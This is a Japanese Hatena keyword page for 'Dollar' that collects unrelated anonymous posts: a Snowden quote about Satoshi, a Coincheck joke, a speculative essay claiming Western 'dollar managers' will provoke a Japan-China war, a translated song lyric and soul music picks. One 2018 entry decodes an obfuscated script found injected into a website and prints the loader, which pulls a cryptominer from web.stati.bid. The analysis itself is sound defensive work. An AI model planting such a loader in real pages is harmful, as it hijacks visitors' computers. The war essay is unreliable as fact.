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はてなキーワード: Dollarとは

2019-09-11

インターネットに代わる安全な匿名通信で告発

P2P DApps

ブロックチェーン発明者の本当の目的は何だったのか?(謎)

To Snowden, Satoshi, who created a now multibillion-dollar network all without exposing his true identity, is a testament to the fact that “if you’re careful, if you learn how the system works better than the people who are exploiting it to harm you and better than the people who built it, you can use it to your advantage.”

(意訳)

スノーデンにとって、何十億ドルものビットコイン匿名で作り出したナカモト・サトシは、「注意深く振る舞って、システムネットワーク)を悪用している人達や、システム自体を構築した人達よりも、ブロックチェーン用途を学べば、システムを使って利益を得ることができる」という事実を示す証拠になっている。


多分「自由お金」を作り出すことだけではなく、そのオマケのように見えた「情報自由化」だったのでは?

2019-04-10

anond:20190409192847

ああー、デイ・ダラー・ボッチなんだ

ダイミダラーもdie me dollarって書くとちょっと騙せそう

2018-02-21

anond:20180221193215

JavaScriptには詳しくないため、コードをまるごと検索につっこんで類似例を見つけたいところだが、記号が多用されたコードそのままではぐぐれないので

"javascript obfuscator dollar underscore" といったキーワード検索

すると下記の解説サイトがヒットし、JJEncodeというツールで難読化されたものであることがわかる

https://blog.korelogic.com/blog/2015/01/12

 

デコードツールも紹介されているのでさっそく試してみると、以下の結果が得られる

var el = document.createElement('script');
el.src = 'https://web.stati.bid/js/YQHHAAUDYwBFglDXg0VSBVWyEDQ5dxGCBTNT8UDGUBBT0zPFUjCtARE2NzAVJSIPQ0FJABFUVTK_AABJVxIGEkH5QCFDBASVIhPPcREqYRFEdRQcsUEkARJYQyAXVBPNcQLaQAVm4CQCZAAVdEMGYAXQxwa.js?trl=0.20';
document.head.appendChild(el);

 

次に "web.stati.bid" でぐぐると下記のブログがヒットする

それによると去年12月ぐらいか複数サイトが改変被害に遭っていて、同じスクリプトを挿入されているらしい

飛び先のURLはいくつかあるが、中でもこのstati.bidドメインは今月登録されたばかりの非常に新しいもののようだ

https://blog.sucuri.net/2018/02/wikipedia-page-review-revealed-minr-malware.html

ちょうど英語Wikipediaでも同ドメインへ繋がるリンクが貼られて一悶着あったようだが、そのURL桂春蝶サイトに埋め込まれていたURLと(パラメータ込みで)完全一致する

 

結論:黒。実際にマイニングスクリプトが埋め込まれている。

ただし前例から考えて、第三者クラックして挿入したものである可能性が高い

2018-01-26

コインチェックが騒ぎになっているが、今月上旬に2時間で終わるはずのメンテにまる2日以上かけて、

途中のアップデート報告で疲れたエンジニアらしき人が、

I fell asleep at my desk. In a dream, the ghost of a butterfly from the future whispered to me "the dollar hit 0 bitcoin".

I wake up, people around me dabbing the blood from their eyes. Progress has been made but not enough. I crack my whip

-- "we aren't getting to zero like this!". The flogging will continue until morale improves.

Expect another update after I make my rounds. I'm sorry I've let you down.

Jan 12, 03:11 UTC

と謎めいた書き込みをしてユーザを震え上がらせた取引所があるのは記憶に新しい。

この書き込みはすぐに削除され、その一日後、一応メンテは無事に終了している。

2017-05-30

[][] アジア戦争の準備 Preparation for the Asian War

共謀罪」と「犯罪のもみ消し」の親和性~権力犯罪隠蔽も容易となる共謀罪~ : 東京法律事務所blog http://blog.livedoor.jp/tokyolaw/archives/1066080724.html

 

日本は今、戦争対応するための法整備をしているように見えます

 

日本中国戦争をやらされるのは、既定路線だと思います

ドル保有国の1番が中国で2番が日本です。

中国日本戦争すれば、多くのドルを浪費します。

ドル管理人たちは、日本中国からドルを回収できます

 

アジア歴史は、欧米による蹂躙歴史です。

アジア各国が連携したら、アジアは強力な勢力になります

アジアを分断して、各国の力を弱めておけば、欧米アジア管理やすいでしょう。

アジア人歴史から何も学ばなければ、アジア人同士が戦争を起こすように欧米から煽られます

 

幸い、日本では「移動の自由」が保障されています。(憲法22条)

アジア戦争が起きても、安全を確保できるように、海外にも生活拠点を確保しておきたいです。

日本富裕層は、シンガポールなど海外にも住居を確保して、和僑在外日本人)のネットワークを築いています

 

日本が再び戦争突入したら、国民は「お国のために命を捧げましょう」と洗脳されるでしょう。

政府命令に従わなければ、非国民として逮捕されるでしょう。

楽観的な人は、何もしないで今のまま暮らせば良いのかも?

(アリとキリギリス

 

Japan seems to be doing legal preparetion to respond to the war now.

 

I think that the war between Japan and China is the established policy.

Number one in dollar holding country is China and number 2 is Japan.

If China and Japan war, we will waste a lot of dollars.

The dollar managers can collect dollars from Japan and China.

 

The history of Asia is the history of trampling by Western countries.

If All asian countries cooperate, they can make the powerful area in Asia.

If Asia is devided the Asia is weaken, and they are easier to manage by Western countries.

If Asians do not learn anything from history, Asians are encouraged to war with each other.

 

Fortunately, "freedom of movement" is guaranteed in Japan. (Article 22 of the Constitution)

For the preparetion of Asian war, we should get the house residence overseas to ensure safety.

The rich people in Japan have already get residence overseas and build the network of Japanese. (ex. in the Singapore)

 

If Japan go into war again, the people will be brainwashed, "Let's give your life for the sake of our country."

If you do not obey government orders, then you will be arrested as a non-citizen.

Maybe an optimistic person should live as it is without doing anything?

(The Ant and the Grasshopper)

2016-01-13

Leaving the City / 街を離れて

関連:「 Sapokanikan /サポカニカン(タバコ畑)」

干し草と清潔な牛小屋

それと庭の壁を覆うツタ

それと「売却済」の札

それと古いコートと悪い風邪

私はあなたを信じている

あなたは私を信じていますか?

あなたは何をしたい?

一緒に街を出ようか?

黒い歩道を歩き

黄金色麦畑を抜けて

その畑が耕されるあいだに

私たちに許されしことのほうへ

ろくに働かない手が馬勒をひく

そしてあなたキャンターからトロット

ゆっくりと停止するために

もつあいきれなくて、私たちは早馬に揺られて不能になる

強く打てば打つほど、深く深く窪んでいく

私たち名前を捜し、名声を求める

私達の心に、嵌めこまれた窓ガラス

すべてを支配しようとする

から色を落として、お金を吸い上げて

私達の財布から*1

あなた長生きすればするほど、家賃も高く高くなっていく

ほの暗い空のもと

赤い納屋のそば

白い雲のし

すべては私たちに許されしもの

ああ、光が見える

大鎌が振るわれ、

魂を刈り取るだろう*2

終末まで残りを指折り数えて

今年の十二月

天啓がここにいた彼女のことを告げた*3

陽が短くなってきていた

彼女が地に降りてきていたのなら

私は私の地を抱擁しただろうに

彼らが告げたのは

過ぎゆく時の変化

それに春には牧場に茂る草*4

それに眠れない夜明

すべては私の冬の窓に積もる

そして私は裂かれた光を見たせいで

もつけなくなった

逃走する彼女割れ目*5は空へと離陸する

溢れ続ける陽光、輝いて漏れだす光*6

夜を漂白して迎える払暁

私たちの奮闘ののち、陽が高く昇り

魂を刈り取る

終わるべき命と知るならば

それが私の望むすべて

私の痩せこけた魂がひきずられていく

私たちに許されしことのもとへ

私たちに許されしことのもとへ


---

*1.Bleach a collar, leech a dollar/From our cents: 「襟を漂白する(Bleach a collar)」とは、ブルーワーカーからホワイトカラーへ職替えするという意味

*2.死神イメージ

*3.ここでいう「彼女」はおそらく前出の死神を指す。一般に死神代名詞として「彼女」は用いないが、その昔ペストだけは例外的に「彼女」と呼ばれたという。

*4.weeping grass オセアニア東南アジア原産

*5. fissure 明らかに女性器を指している

*6. unstaunched daylight, brightly bleeding 陽の光を出血と重ねあわせている

2015-10-11

ダウナーソウル

暗い音楽が好きだ。

自分が明るい人間なのか暗い人間なのかよくわかりませんが、とりあえず暗い音楽が好きです。

そして、ソウルにはそんな音楽がいっぱいあるので、ちょっと紹介してみようかと。




Curtis Mayfield - Billy Jack

https://www.youtube.com/watch?v=oaj29ZBzCbw

まずはニューソウル一角カーティスを。おれはニューソウルの中ではこの人が一番好きです。

カーティスと言えばスーパーフライがよく取り上げられますが、この曲が入っているThere's No Place Like America Todayマスターピースと言って良いです。タイトルからして暗い内容が予想できるこのアルバムの 1st トラックがこの曲。

ダウナーレゲエアレンジが秀逸。1,2拍を抜いたドラムワウギタークラビが加わった、引っかかりの強いリズムがアタマをグラグラゆさぶり、そこに乗るカーティスファルセットが胸に迫ります。そして中間で挿入されるホーンで涙腺は崩壊するわけです。




Give Me Water - John Forte & Valerie June

https://www.youtube.com/watch?v=KaIORi2ovNc

おれはミシェル・ンデゲオチェロアルバムで初めてヴァレリーの声を聴いたのですが、かなりインパクトありました。

ミッドハイあたりに固まった独特な声は、その後もずっと頭にこびりついていて、たまに youtube なんかで聴いていたんですが、残念なことに本人の作品あんまりなんですよね。。

だったんですが、ジョン・フォルテアサインされたこの曲でヴァレリーの魅力を再認識させられました。

ギターが同じリフを延々繰り返す土臭いソウルブルース彼女の声がはまり切ってますフォルテラップもキマっており、完成された一曲だと思います映像もかっこいい。





Gil Scott-Heron "The Prisoner"

https://www.youtube.com/watch?v=eC_9xmAN21U

ギル・スコット・ヘロンの暗い曲と言えば、Winter in America が真っ先に思い浮かぶわけですが、あえてこの曲を取り上げます

ドラムピアノが散文的な演奏を聴かせるパートと、滑らかで美しい進行を見せるパート、を繰り返す構成になっています。その上でギルは一貫して熱の入ったポエティックな歌を聴かせています。そうした歌から、美しいピアノソロに入って行くところや、最後の(歌の)ロングトーンが胸を打ちます

winter~ と比べるとずっと地味なんですが、この曲の重たくよどんだ感じがハマる時があるんですよね。。一時期毎日聴いていました。





Aloe Blacc - I Need a Dollar (Live in Studio)

https://www.youtube.com/watch?v=lDyUhI1ArPo


最近売れた曲なので、耳にした人も多いかと。

暗い内容ですが、ダウナーではないですね。むしろアッパーと言っても良いくらい。ライブということもあり、押しの強いダンサブルなアレンジでいまどき感があります

曲としては、突出したアイディアなどは無くストレートに歌の良さで押していて、アーローの骨太さが良く出てると思います

アーローを聴いてると、「ソウルは本当に一周回ったなあ」と感じます。「ファレル並に」とまでは言わないけど、この人は日本でももっと評価されて良いんじゃないかなー。

 
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